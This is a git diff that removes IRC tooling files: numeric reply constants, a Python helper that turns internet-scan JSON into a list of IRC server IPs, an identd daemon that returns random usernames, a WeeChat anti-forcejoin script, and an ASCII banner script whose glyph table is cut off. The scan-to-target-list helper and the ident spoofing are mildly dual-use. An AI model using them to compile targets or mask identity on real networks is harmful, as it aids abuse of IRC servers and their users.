||||
RPL_TRACEOPERATOR = '204'
|
||||
RPL_TRACEUSER = '205'
|
||||
RPL_TRACESERVER = '206'
|
||||
RPL_TRACESERVICE = '207'
|
||||
RPL_TRACENEWTYPE = '208'
|
||||
RPL_TRACECLASS = '209'
|
||||
RPL_STATSLINKINFO = '211'
|
||||
RPL_STATSCOMMANDS = '212'
|
||||
RPL_STATSCLINE = '213'
|
||||
RPL_STATSILINE = '215'
|
||||
RPL_STATSKLINE = '216'
|
||||
RPL_STATSYLINE = '218'
|
||||
RPL_ENDOFSTATS = '219'
|
||||
RPL_UMODEIS = '221'
|
||||
RPL_SERVLIST = '234'
|
||||
RPL_SERVLISTEND = '235'
|
||||
RPL_STATSLLINE = '241'
|
||||
RPL_STATSUPTIME = '242'
|
||||
RPL_STATSOLINE = '243'
|
||||
RPL_STATSHLINE = '244'
|
||||
RPL_LUSERCLIENT = '251'
|
||||
RPL_LUSEROP = '252'
|
||||
RPL_LUSERUNKNOWN = '253'
|
||||
RPL_LUSERCHANNELS = '254'
|
||||
RPL_LUSERME = '255'
|
||||
RPL_ADMINME = '256'
|
||||
RPL_ADMINLOC1 = '257'
|
||||
RPL_ADMINLOC2 = '258'
|
||||
RPL_ADMINEMAIL = '259'
|
||||
RPL_TRACELOG = '261'
|
||||
RPL_TRYAGAIN = '263'
|
||||
RPL_NONE = '300'
|
||||
RPL_AWAY = '301'
|
||||
RPL_USERHOST = '302'
|
||||
RPL_ISON = '303'
|
||||
RPL_UNAWAY = '305'
|
||||
RPL_NOWAWAY = '306'
|
||||
RPL_WHOISUSER = '311'
|
||||
RPL_WHOISSERVER = '312'
|
||||
RPL_WHOISOPERATOR = '313'
|
||||
RPL_WHOWASUSER = '314'
|
||||
RPL_ENDOFWHO = '315'
|
||||
RPL_WHOISIDLE = '317'
|
||||
RPL_ENDOFWHOIS = '318'
|
||||
RPL_WHOISCHANNELS = '319'
|
||||
RPL_LIST = '322'
|
||||
RPL_LISTEND = '323'
|
||||
RPL_CHANNELMODEIS = '324'
|
||||
RPL_NOTOPIC = '331'
|
||||
RPL_TOPIC = '332'
|
||||
RPL_INVITING = '341'
|
||||
RPL_INVITELIST = '346'
|
||||
RPL_ENDOFINVITELIST = '347'
|
||||
RPL_EXCEPTLIST = '348'
|
||||
RPL_ENDOFEXCEPTLIST = '349'
|
||||
RPL_VERSION = '351'
|
||||
RPL_WHOREPLY = '352'
|
||||
RPL_NAMREPLY = '353'
|
||||
RPL_LINKS = '364'
|
||||
RPL_ENDOFLINKS = '365'
|
||||
RPL_ENDOFNAMES = '366'
|
||||
RPL_BANLIST = '367'
|
||||
RPL_ENDOFBANLIST = '368'
|
||||
RPL_ENDOFWHOWAS = '369'
|
||||
RPL_INFO = '371'
|
||||
RPL_MOTD = '372'
|
||||
RPL_ENDOFINFO = '374'
|
||||
RPL_MOTDSTART = '375'
|
||||
RPL_ENDOFMOTD = '376'
|
||||
RPL_YOUREOPER = '381'
|
||||
RPL_REHASHING = '382'
|
||||
RPL_YOURESERVICE = '383'
|
||||
RPL_TIME = '391'
|
||||
RPL_USERSSTART = '392'
|
||||
RPL_USERS = '393'
|
||||
RPL_ENDOFUSERS = '394'
|
||||
RPL_NOUSERS = '395'
|
||||
ERR_NOSUCHNICK = '401'
|
||||
ERR_NOSUCHSERVER = '402'
|
||||
ERR_NOSUCHCHANNEL = '403'
|
||||
ERR_CANNOTSENDTOCHAN = '404'
|
||||
ERR_TOOMANYCHANNELS = '405'
|
||||
ERR_WASNOSUCHNICK = '406'
|
||||
ERR_TOOMANYTARGETS = '407'
|
||||
ERR_NOSUCHSERVICE = '408'
|
||||
ERR_NOORIGIN = '409'
|
||||
ERR_NORECIPIENT = '411'
|
||||
ERR_NOTEXTTOSEND = '412'
|
||||
ERR_NOTOPLEVEL = '413'
|
||||
ERR_WILDTOPLEVEL = '414'
|
||||
ERR_BADMASK = '415'
|
||||
ERR_UNKNOWNCOMMAND = '421'
|
||||
ERR_NOMOTD = '422'
|
||||
ERR_NOADMININFO = '423'
|
||||
ERR_FILEERROR = '424'
|
||||
ERR_NONICKNAMEGIVEN = '431'
|
||||
ERR_ERRONEUSNICKNAME = '432'
|
||||
ERR_NICKNAMEINUSE = '433'
|
||||
ERR_NICKCOLLISION = '436'
|
||||
ERR_USERNOTINCHANNEL = '441'
|
||||
ERR_NOTONCHANNEL = '442'
|
||||
ERR_USERONCHANNEL = '443'
|
||||
ERR_NOLOGIN = '444'
|
||||
ERR_SUMMONDISABLED = '445'
|
||||
ERR_USERSDISABLED = '446'
|
||||
ERR_NOTREGISTERED = '451'
|
||||
ERR_NEEDMOREPARAMS = '461'
|
||||
ERR_ALREADYREGISTRED = '462'
|
||||
ERR_NOPERMFORHOST = '463'
|
||||
ERR_PASSWDMISMATCH = '464'
|
||||
ERR_YOUREBANNEDCREEP = '465'
|
||||
ERR_KEYSET = '467'
|
||||
ERR_CHANNELISFULL = '471'
|
||||
ERR_UNKNOWNMODE = '472'
|
||||
ERR_INVITEONLYCHAN = '473'
|
||||
ERR_BANNEDFROMCHAN = '474'
|
||||
ERR_BADCHANNELKEY = '475'
|
||||
ERR_BADCHANMASK = '476'
|
||||
ERR_BANLISTFULL = '478'
|
||||
ERR_NOPRIVILEGES = '481'
|
||||
ERR_CHANOPRIVSNEEDED = '482'
|
||||
ERR_CANTKILLSERVER = '483'
|
||||
ERR_UNIQOPRIVSNEEDED = '485'
|
||||
ERR_NOOPERHOST = '491'
|
||||
ERR_UMODEUNKNOWNFLAG = '501'
|
||||
ERR_USERSDONTMATCH = '502'
|
||||
RPL_STARTTLS = '670'
|
||||
ERR_STARTTLS = '691'
|
||||
RPL_MONONLINE = '730'
|
||||
RPL_MONOFFLINE = '731'
|
||||
RPL_MONLIST = '732'
|
||||
RPL_ENDOFMONLIST = '733'
|
||||
ERR_MONLISTFULL = '734'
|
||||
RPL_LOGGEDIN = '900'
|
||||
RPL_LOGGEDOUT = '901'
|
||||
ERR_NICKLOCKED = '902'
|
||||
RPL_SASLSUCCESS = '903'
|
||||
ERR_SASLFAIL = '904'
|
||||
ERR_SASLTOOLONG = '905'
|
||||
ERR_SASLABORTED = '906'
|
||||
ERR_SASLALREADY = '907'
|
||||
RPL_SASLMECHS = '908'
|
68
irc/efkh.py
68
irc/efkh.py
@ -1,68 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# EFKnockr Helper - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
import json
|
||||
|
||||
_bnc = list()
|
||||
_irc = list()
|
||||
_unknown = list()
|
||||
|
||||
def _parse_data():
|
||||
with open('netking.json','r') as _data_file:
|
||||
for _line in _data_file:
|
||||
_data = json.loads(_line)
|
||||
if 'product' in _data:
|
||||
if _data['product'] in ('BitlBee IRCd','psyBNC','Minbif','ShroudBNC irc-proxy'):
|
||||
_bnc.append(_line)
|
||||
else:
|
||||
_irc.append(_line)
|
||||
else:
|
||||
if 'data' in _data:
|
||||
if 'bitlbee' in _data['data'].lower() or 'psybnc' in _data['data'].lower() or 'shroudbnc' in _data['data'].lower():
|
||||
_bnc.append(_line)
|
||||
else:
|
||||
if ':***' in _data['data'] or 'Looking up your hostname' in _data['data']:
|
||||
_irc.append(_line)
|
||||
else:
|
||||
if 'PHP Notice' not in _data['data']:
|
||||
if 'NOTICE' in _data['data']:
|
||||
_irc.append(_line)
|
||||
else:
|
||||
_unknown.append(_line)
|
||||
else:
|
||||
_unknown.append(_line)
|
||||
|
||||
def _write_data():
|
||||
with open('bnc.json','w') as _bnc_file:
|
||||
for _line in _bnc:
|
||||
_bnc_file.write(_line)
|
||||
with open('irc.json','w') as _irc_file:
|
||||
for _line in _irc:
|
||||
_irc_file.write(_line)
|
||||
with open('unknown.json','w') as _unknown_file:
|
||||
for _line in _unknown:
|
||||
_unknown_file.write(_line)
|
||||
|
||||
_parse_data()
|
||||
_write_data()
|
||||
|
||||
print('BNC: ' + str(len(_bnc )))
|
||||
print('IRC: ' + str(len(_irc )))
|
||||
print('???: ' + str(len(_unknown)))
|
||||
|
||||
_ips = list()
|
||||
|
||||
def _parse_ips():
|
||||
with open('irc.json','r') as _data_file:
|
||||
for _line in _data_file:
|
||||
_data = json.loads(_line)
|
||||
_ips.append(_data['ip_str'])
|
||||
|
||||
def _write_ips():
|
||||
with open('clean.txt','w') as _clean_file:
|
||||
for _line in _ips:
|
||||
_clean_file.write(_line + '\n')
|
||||
|
||||
_parse_ips()
|
||||
_ips = sorted(set(_ips))
|
||||
_write_ips()
|
1258
irc/hueg-hexchat.pl
1258
irc/hueg-hexchat.pl
File diff suppressed because it is too large
Load Diff
@ -1,81 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# ident protocol daemon - developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import string
|
||||
import threading
|
||||
import pwd
|
||||
|
||||
def check_privledges():
|
||||
if os.getuid() == 0 or os.geteuid() == 0:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def is_valid_port(port):
|
||||
if port > 0 and port <= 65535:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def random_str(size):
|
||||
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
|
||||
|
||||
class Identd(threading.Thread):
|
||||
def __init__(self, protocol, address, port):
|
||||
self.protocol = protocol
|
||||
self.address = address
|
||||
self.port = port
|
||||
self.sock = None
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self._create_sockets()
|
||||
self._drop_privledges()
|
||||
self._listen()
|
||||
except Exception as ex:
|
||||
print('error: ' + str(ex))
|
||||
|
||||
def _create_sockets(self):
|
||||
self.sock = socket.socket(self.protocol)
|
||||
self.sock.bind((self.address, self.port))
|
||||
self.sock.listen(5)
|
||||
self.sock.setblocking(0)
|
||||
|
||||
def _drop_privledges(self):
|
||||
os.setgroups([])
|
||||
os.setgid(pwd.getpwnam('nobody').pw_gid)
|
||||
os.setuid(pwd.getpwnam('nobody').pw_uid)
|
||||
|
||||
def _listen(self):
|
||||
while True:
|
||||
client, addr = self.sock.accept()
|
||||
data = client.recv(1024).decode('ascii').rstrip()
|
||||
source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
|
||||
print(f'[REQUEST] {source_ip}: {data}')
|
||||
response = self._parse_data(data)
|
||||
client.send(f'{response}\r\n'.encode('ascii'))
|
||||
print(f'[ REPLY ] {source_ip}: {response}')
|
||||
client.close()
|
||||
|
||||
def _parse_data(self, data):
|
||||
if not re.match(r'(\d+).*,.*(\d+)', data):
|
||||
return data + ' : ERROR : INVALID-PORT'
|
||||
lport, rport = data.split(',')
|
||||
lport = int(re.sub(r'\D', '', lport))
|
||||
rport = int(re.sub(r'\D', '', rport))
|
||||
if not is_valid_port(lport) or not is_valid_port(rport):
|
||||
return data + ' : ERROR : INVALID-PORT'
|
||||
return data + ' : USERID : UNIX : ' + random_str(5)
|
||||
|
||||
# Main
|
||||
if not check_privledges():
|
||||
raise SystemExit('requires sudo privledges to bind to port 113')
|
||||
Identd(socket.AF_INET, '0.0.0.0', 113).start()
|
||||
Identd(socket.AF_INET6, '::', 113).start()
|
||||
while True:
|
||||
input('')
|
Binary file not shown.
Binary file not shown.
@ -1 +0,0 @@
|
||||
Subproject commit c83c7daac07b20a2e558b15db79114057002c44a
|
@ -1 +0,0 @@
|
||||
Subproject commit 49afd982c4ed827a374b836a2513e4970d119c76
|
@ -1 +0,0 @@
|
||||
Subproject commit 0f7aab0efb8410360d129ac92ad82e7be73d438d
|
@ -1 +0,0 @@
|
||||
Subproject commit 0225b8881d06773b92d9db2c7881f03ff0bdece7
|
@ -1,369 +0,0 @@
|
||||
# Released into the Public Domain
|
||||
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'antifuck';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.1';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Defend against forcejoins (e.g. from fuckyou.pl) and '.
|
||||
'forceparts (e.g. from /remove)';
|
||||
|
||||
my %OPTIONS = (
|
||||
autopart => ['Whether to automatically part forcejoined channels. '.
|
||||
'You can always do this manually with /antifuck part', '0'],
|
||||
delay => ['Delay in milliseconds to wait before autoparting', '5000'],
|
||||
forward => ['Whether to allow channel forwards (+f on freenode)', '1'],
|
||||
ignore => ['Servers to ignore (e.g. for bouncers), separated by comma', ''],
|
||||
nobufs => ['If 1, do not create buffers for forcejoined channels', '0'],
|
||||
timeout =>
|
||||
['Delay in milliseconds to wait for server to send JOIN after join',
|
||||
'60000'],
|
||||
);
|
||||
|
||||
# %channels: channels we joined and received JOIN / NAMES for
|
||||
# %zombie: channels we joined but aren't yet in
|
||||
# %part: channels we were forced into and will part soon
|
||||
# %partbuf: buffers belonging to parted channels, we'll close these on
|
||||
# /antifuck part
|
||||
our (%channels, %zombie, %part, %partbuf, $fuckbuf, $timeout_cb, $gc_cb);
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
weechat::hook_command('antifuck', $SCRIPT_DESC, 'part', <<'HELP',
|
||||
This script defends against forced joins, such as from irssi's fuckyou.pl or
|
||||
from channel forwards, as well as forced parts, such as from the /remove
|
||||
command. You can configure certain behaviour using the options under
|
||||
"plugins.var.perl.antifuck.*". Configure rejoin-on-/remove with the
|
||||
irc.server_default.autorejoin and .autorejoin_delay commands.
|
||||
|
||||
Running "/antifuck part" will close all forcejoined channels and part them where
|
||||
appropriate.
|
||||
HELP
|
||||
'part', 'cmd_antifuck', '');
|
||||
weechat::hook_signal('irc_server_connected', 'irc_connect', '');
|
||||
weechat::hook_signal('irc_server_disconnected', 'irc_disconnect', '');
|
||||
weechat::hook_signal('irc_channel_opened', 'buffer_opened', '');
|
||||
weechat::hook_signal('buffer_closed', 'buffer_closed', '');
|
||||
weechat::hook_signal('*,irc_out1_join', 'client_join', '');
|
||||
weechat::hook_signal('*,irc_out1_part', 'client_part', '');
|
||||
weechat::hook_signal('*,irc_raw_in_001', 'irc_001', '');
|
||||
weechat::hook_signal('*,irc_raw_in_470', 'irc_470', '');
|
||||
weechat::hook_modifier('irc_in_366', 'irc_366', '');
|
||||
weechat::hook_modifier('irc_in_join', 'irc_join', '');
|
||||
weechat::hook_modifier('irc_in_part', 'irc_part', '');
|
||||
|
||||
for my $option (keys %OPTIONS) {
|
||||
weechat::config_set_plugin($option, $OPTIONS{$option}[1])
|
||||
unless weechat::config_is_set_plugin($option);
|
||||
weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
|
||||
}
|
||||
|
||||
my $iptr = weechat::infolist_get('buffer', '', '');
|
||||
|
||||
while (weechat::infolist_next($iptr)) {
|
||||
next unless weechat::infolist_string($iptr, 'plugin_name') eq 'irc';
|
||||
my $buf = weechat::infolist_pointer($iptr, 'pointer');
|
||||
$channels{
|
||||
lc weechat::buffer_get_string($buf, 'localvar_server')}{
|
||||
lc weechat::buffer_get_string($buf, 'localvar_channel')} = 1;
|
||||
}
|
||||
weechat::infolist_free($iptr);
|
||||
}
|
||||
|
||||
sub mynick
|
||||
{
|
||||
my ($buf, $nick) = ($_[0], $_[1]);
|
||||
|
||||
return lc weechat::buffer_get_string($buf, 'localvar_nick') eq lc $nick;
|
||||
}
|
||||
|
||||
sub ignored
|
||||
{
|
||||
my $server = shift;
|
||||
my $ignore_conf = lc weechat::config_get_plugin('ignore');
|
||||
|
||||
return $ignore_conf =~ /(^|,)$server($|,)/;
|
||||
}
|
||||
|
||||
sub nobufs { weechat::config_get_plugin('nobufs') }
|
||||
|
||||
sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
|
||||
sub ircparse { weechat::info_get_hashtable(irc_message_parse =>
|
||||
{ message => shift }) }
|
||||
|
||||
sub servchan
|
||||
{
|
||||
my $buf = shift;
|
||||
|
||||
return (lc weechat::buffer_get_string($buf, 'localvar_server'),
|
||||
lc weechat::buffer_get_string($buf, 'localvar_channel'));
|
||||
}
|
||||
|
||||
sub reset_gc
|
||||
{
|
||||
weechat::unhook($gc_cb) if $gc_cb;
|
||||
$gc_cb = weechat::hook_timer(weechat::config_get_plugin('timeout'), 0, 1,
|
||||
'run_gc', '');
|
||||
}
|
||||
|
||||
sub cmd_antifuck
|
||||
{
|
||||
my (undef, $buffer, $args) = @_;
|
||||
|
||||
if ($args eq 'part') {
|
||||
# TODO: we really need to spend more time here making sure we send the
|
||||
# fewest PARTs possible, a la irc_join_delay
|
||||
weechat::buffer_close($fuckbuf);
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub fuckbuf_input { return weechat::WEECHAT_RC_OK; }
|
||||
|
||||
sub fuckbuf_close
|
||||
{
|
||||
weechat::buffer_close($_) for (keys %partbuf);
|
||||
%partbuf = ();
|
||||
$fuckbuf = '';
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_connect
|
||||
{
|
||||
my $server = pop;
|
||||
my ($autojoin) = (weechat::config_string(weechat::config_get(
|
||||
"irc.server.$server.autojoin")) =~ /^([^ ]*)/);
|
||||
|
||||
$zombie{$server}{$_} = 1 for (split ',', lc($autojoin));
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_disconnect
|
||||
{
|
||||
my $server = pop;
|
||||
|
||||
$server = lc $server;
|
||||
delete $channels{$server};
|
||||
delete $zombie{$server};
|
||||
delete $part{$server};
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub buffer_opened {
|
||||
my $buffer = pop;
|
||||
my ($server, $channel) = servchan($buffer);
|
||||
return weechat::WEECHAT_RC_OK if exists $channels{$server}{$channel};
|
||||
return weechat::WEECHAT_RC_OK if ignored($server);
|
||||
|
||||
$fuckbuf = weechat::buffer_new(
|
||||
'antifuck',
|
||||
'fuckbuf_input',
|
||||
'',
|
||||
'fuckbuf_close',
|
||||
''
|
||||
) unless $fuckbuf;
|
||||
|
||||
weechat::buffer_merge($buffer, $fuckbuf);
|
||||
#return weechat::WEECHAT_RC_OK unless weechat::config_get_plugin('autopart');
|
||||
|
||||
$partbuf{$buffer} = 1;
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub buffer_closed {
|
||||
my $buffer = pop;
|
||||
|
||||
delete $partbuf{$buffer};
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub client_join
|
||||
{
|
||||
my (undef, $server, $channel) = (shift,
|
||||
shift =~ /(.+),irc_out1_join/i,
|
||||
shift =~ /^join :?([^ ]*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
|
||||
reset_gc();
|
||||
|
||||
($_ eq '0' ? %{$channels{$server}} = () : $zombie{$server}{$_} = 1)
|
||||
for (split ',', $channel);
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub client_part
|
||||
{
|
||||
my (undef, $server, $channel) = (shift,
|
||||
shift =~ /(.+),irc_out1_part/i,
|
||||
shift =~ /^part ([^ ]*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
|
||||
delete $channels{$server}{$_} for (split ',', $channel);
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
# RPL_WELCOME
|
||||
sub irc_001
|
||||
{
|
||||
my (undef, $server, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_001/, shift);
|
||||
|
||||
$server = lc $server;
|
||||
return weechat::WEECHAT_RC_OK unless $message =~ / :- Welcome to ZNC -$/;
|
||||
|
||||
my $ignore_conf = lc weechat::config_get_plugin('ignore');
|
||||
return weechat::WEECHAT_RC_OK if $ignore_conf =~ /(^|,)$server($|,)/;
|
||||
|
||||
weechat::config_set_plugin('ignore', "$ignore_conf,$server");
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_join
|
||||
{
|
||||
my ($server, $message, $msghash) = (lc $_[2], $_[3], ircparse($_[3]));
|
||||
my ($nick, $channel) = ($msghash->{nick}, lc $msghash->{channel});
|
||||
my $buffer = ircbuf("$server.$channel");
|
||||
|
||||
return $message if exists $channels{$server}{$channel};
|
||||
if (exists $zombie{$server}{$channel} || ignored($server)) {
|
||||
delete $zombie{$server}{$channel};
|
||||
$channels{$server}{$channel} = 1;
|
||||
return $message;
|
||||
}
|
||||
# XXX return $message unless mynick($buffer, $nick);
|
||||
|
||||
$part{$server}{$channel} = 1;
|
||||
$timeout_cb = weechat::hook_timer(
|
||||
weechat::config_get_plugin('delay'), 0, 1, 'irc_join_delay', $buffer)
|
||||
unless $timeout_cb || !weechat::config_get_plugin('autopart');
|
||||
|
||||
return $message unless nobufs();
|
||||
|
||||
$fuckbuf = weechat::buffer_new(
|
||||
'antifuck',
|
||||
'fuckbuf_input',
|
||||
'',
|
||||
'fuckbuf_close',
|
||||
''
|
||||
) unless $fuckbuf;
|
||||
weechat::print($fuckbuf, weechat::prefix('join').
|
||||
weechat::color('irc.color.message_join').
|
||||
'You were forced to join '.weechat::color('chat_channel').$channel.
|
||||
weechat::color('irc.color.message_join').', leaving');
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
# RPL_ENDOFNAMES
|
||||
sub irc_366
|
||||
{
|
||||
my ($server, $message) = ($_[2], $_[3]);
|
||||
my ($nick, $channel) = $message =~ /^:[^ ]* 366 ([^ ]*) ([^ ]*)/i;
|
||||
my $buffer = ircbuf("$server.$channel");
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
|
||||
return $message if exists $channels{$server}{$channel};
|
||||
return '' if nobufs();
|
||||
|
||||
weechat::print($buffer, weechat::prefix('network').
|
||||
'Forcejoined, not syncing modes');
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
# ERR_LINKCHANNEL
|
||||
sub irc_470
|
||||
{
|
||||
my (undef, $server, $oldchan, $newchan) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_470/,
|
||||
shift =~ /^:[^ ]* 470 [^ ]+ ([^ ]+) ([^ ]+)/);
|
||||
($server, $oldchan, $newchan) = (lc $server, lc $oldchan, lc $newchan);
|
||||
|
||||
delete $channels{$server}{$oldchan};
|
||||
$channels{$server}{$newchan} = 1 if weechat::config_get_plugin('forward');
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_join_delay
|
||||
{
|
||||
my $buffer = shift;
|
||||
|
||||
for my $server (keys %part) {
|
||||
my $chans = '';
|
||||
|
||||
for my $chan (keys %{$part{$server}}) {
|
||||
if (length($chans) + length($chan) > 500) {
|
||||
weechat::hook_signal_send('irc_input_send',
|
||||
weechat::WEECHAT_HOOK_SIGNAL_STRING,
|
||||
"$server;;priority_low;;/part $chans");
|
||||
$chans = '';
|
||||
}
|
||||
|
||||
$chans .= "$chan,";
|
||||
}
|
||||
|
||||
weechat::hook_signal_send('irc_input_send',
|
||||
weechat::WEECHAT_HOOK_SIGNAL_STRING,
|
||||
"$server;;priority_low;;/part $chans");
|
||||
}
|
||||
$timeout_cb = '';
|
||||
%part = ();
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub run_gc
|
||||
{
|
||||
%zombie = ();
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_part
|
||||
{
|
||||
my ($server, $message, $msghash) = ($_[2], $_[3], ircparse($_[3]));
|
||||
my ($arj, $arj_delay, $arjd, $arjd_delay) = (
|
||||
weechat::config_get("irc.server.$server.autorejoin"),
|
||||
weechat::config_get("irc.server.$server.autorejoin_delay"),
|
||||
weechat::config_get("irc.server_default.autorejoin"),
|
||||
weechat::config_get("irc.server_default.autorejoin_delay")
|
||||
);
|
||||
return $message unless (
|
||||
weechat::config_option_is_null($arj) ?
|
||||
weechat::config_boolean($arjd) :
|
||||
weechat::config_boolean($arj)
|
||||
);
|
||||
|
||||
my ($nick, $channel, $reason) = ($msghash->{nick}, $msghash->{channel},
|
||||
$msghash->{text});
|
||||
|
||||
my $buffer = ircbuf("$server.$channel");
|
||||
my ($lserver, $lchannel) = (lc $server, lc $channel);
|
||||
|
||||
return $message unless mynick($buffer, $nick);
|
||||
return $message unless exists $channels{$lserver}{$lchannel};
|
||||
return $message if ignored($lserver);
|
||||
|
||||
weechat::print($buffer, weechat::prefix('quit').
|
||||
weechat::color('irc.color.message_quit').
|
||||
'You were forced to part '.weechat::color('chat_channel').$channel.
|
||||
weechat::color('chat_delimiters').' ('.weechat::color('reset').
|
||||
$reason.weechat::color('chat_delimiters').')'.
|
||||
weechat::color('irc.color.message_quit').', rejoining');
|
||||
my $delay = (
|
||||
weechat::config_option_is_null($arj_delay) ?
|
||||
weechat::config_integer($arjd_delay) :
|
||||
weechat::config_integer($arj_delay)
|
||||
);
|
||||
weechat::command($buffer, ($delay ? "/wait $delay " : "").
|
||||
"/join $channel");
|
||||
|
||||
return '';
|
||||
}
|
@ -1,332 +0,0 @@
|
||||
use strict;
|
||||
use warnings;
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'banner';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.0';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Banner text';
|
||||
our (%queue, %timer);
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
weechat::hook_command('banner', 'Banner text',
|
||||
"[-nick|-key|-limit] text",
|
||||
"-nick: send to /nick command\n".
|
||||
"-key: send as /mode +k (doesn't work on all ircds)\n".
|
||||
"-limit: send as /mode +l\n",
|
||||
'', 'cmd_banner', '');
|
||||
}
|
||||
|
||||
sub cmd_banner
|
||||
{
|
||||
my ($buffer, $cmd) = ($_[1], $_[2]);
|
||||
my ($flag, $text) = $cmd =~ /^(-nick|-key|-limit|) *(.*)$/;
|
||||
my @output;
|
||||
my $prefix = '/msg *';
|
||||
my $nick = weechat::info_get('irc_nick',
|
||||
weechat::buffer_get_string($buffer, 'localvar_server'));
|
||||
|
||||
my @chars = ('````````^',
|
||||
'XX``XXXXX',
|
||||
'``````XXX
|
||||
`````````
|
||||
``````XXX',
|
||||
'``X```X``
|
||||
XXXXXXXXX
|
||||
``X```X``
|
||||
XXXXXXXXX
|
||||
``X```X``',
|
||||
'`````XX``
|
||||
`X``X``X`
|
||||
XX``X``XX
|
||||
`X``X``X`
|
||||
``XX`````',
|
||||
'```X```XX
|
||||
XX``X``XX
|
||||
XX```X```',
|
||||
'```X`X```
|
||||
X`X`X`X`X
|
||||
``X```X``',
|
||||
'``````XXX',
|
||||
'`XXXXXXX`
|
||||
X```````X',
|
||||
'X```````X
|
||||
`XXXXXXX`',
|
||||
'``````X`X
|
||||
```````X`
|
||||
``````X`X',
|
||||
'````X````
|
||||
```XXX```
|
||||
````X````',
|
||||
'X````````
|
||||
`XX``````',
|
||||
'````X```^
|
||||
````X````',
|
||||
'X````````',
|
||||
'XXX``````
|
||||
```XXX```
|
||||
``````XXX',
|
||||
'`XXXXXXX`
|
||||
X```````X
|
||||
`XXXXXXX`',
|
||||
'X``````X`
|
||||
XXXXXXXXX
|
||||
X````````',
|
||||
'XXX````X`
|
||||
X``XX```X
|
||||
X````XXX`',
|
||||
'`X`````X`
|
||||
X```X```X
|
||||
`XXX`XXX`',
|
||||
'````XXX``
|
||||
````X``X`
|
||||
XXXXXXXXX',
|
||||
'X```XXXXX
|
||||
X```X```X
|
||||
`XXX````X',
|
||||
'`XXXXXXX`
|
||||
X```X```X
|
||||
`XXX`````',
|
||||
'XXX`````X
|
||||
```XXX``X
|
||||
``````XXX',
|
||||
'`XXX`XXX`
|
||||
X```X```X
|
||||
`XXX`XXX`',
|
||||
'`````XXX`
|
||||
X```X```X
|
||||
`XXXXXXX`',
|
||||
'``XX`XX``',
|
||||
'`X```````
|
||||
``XX`XX``',
|
||||
'````X````
|
||||
```X`X```
|
||||
``X```X``',
|
||||
'```X`X```
|
||||
```X`X``^
|
||||
```X`X```',
|
||||
'``X```X``
|
||||
```X`X```
|
||||
````X````',
|
||||
'```````X`
|
||||
XX``X```X
|
||||
`````XXX`',
|
||||
'`XXXXXXX`
|
||||
X``XXX``X
|
||||
X`X```X`X
|
||||
X`XXXXXXX',
|
||||
'XXXXXXXX`
|
||||
````X```X
|
||||
XXXXXXXX`',
|
||||
'XXXXXXXXX
|
||||
X```X```X
|
||||
`XXX`XXX`',
|
||||
'`XXXXXXX`
|
||||
X```````X
|
||||
`X`````X`',
|
||||
'XXXXXXXXX
|
||||
X```````X
|
||||
`XXXXXXX`',
|
||||
'XXXXXXXXX
|
||||
X```X```X
|
||||
X```````X',
|
||||
'XXXXXXXXX
|
||||
````X```X
|
||||
````````X',
|
||||
'`XXXXXXX`
|
||||
X```````X
|
||||
`XXX```X`',
|
||||
'XXXXXXXXX
|
||||
````X````
|
||||
XXXXXXXXX',
|
||||
'X```````X
|
||||
XXXXXXXXX
|
||||
X```````X',
|
||||
'`X``````X
|
||||
X```````X
|
||||
`XXXXXXXX',
|
||||
'XXXXXXXXX
|
||||
````X````
|
||||
```X`X```
|
||||
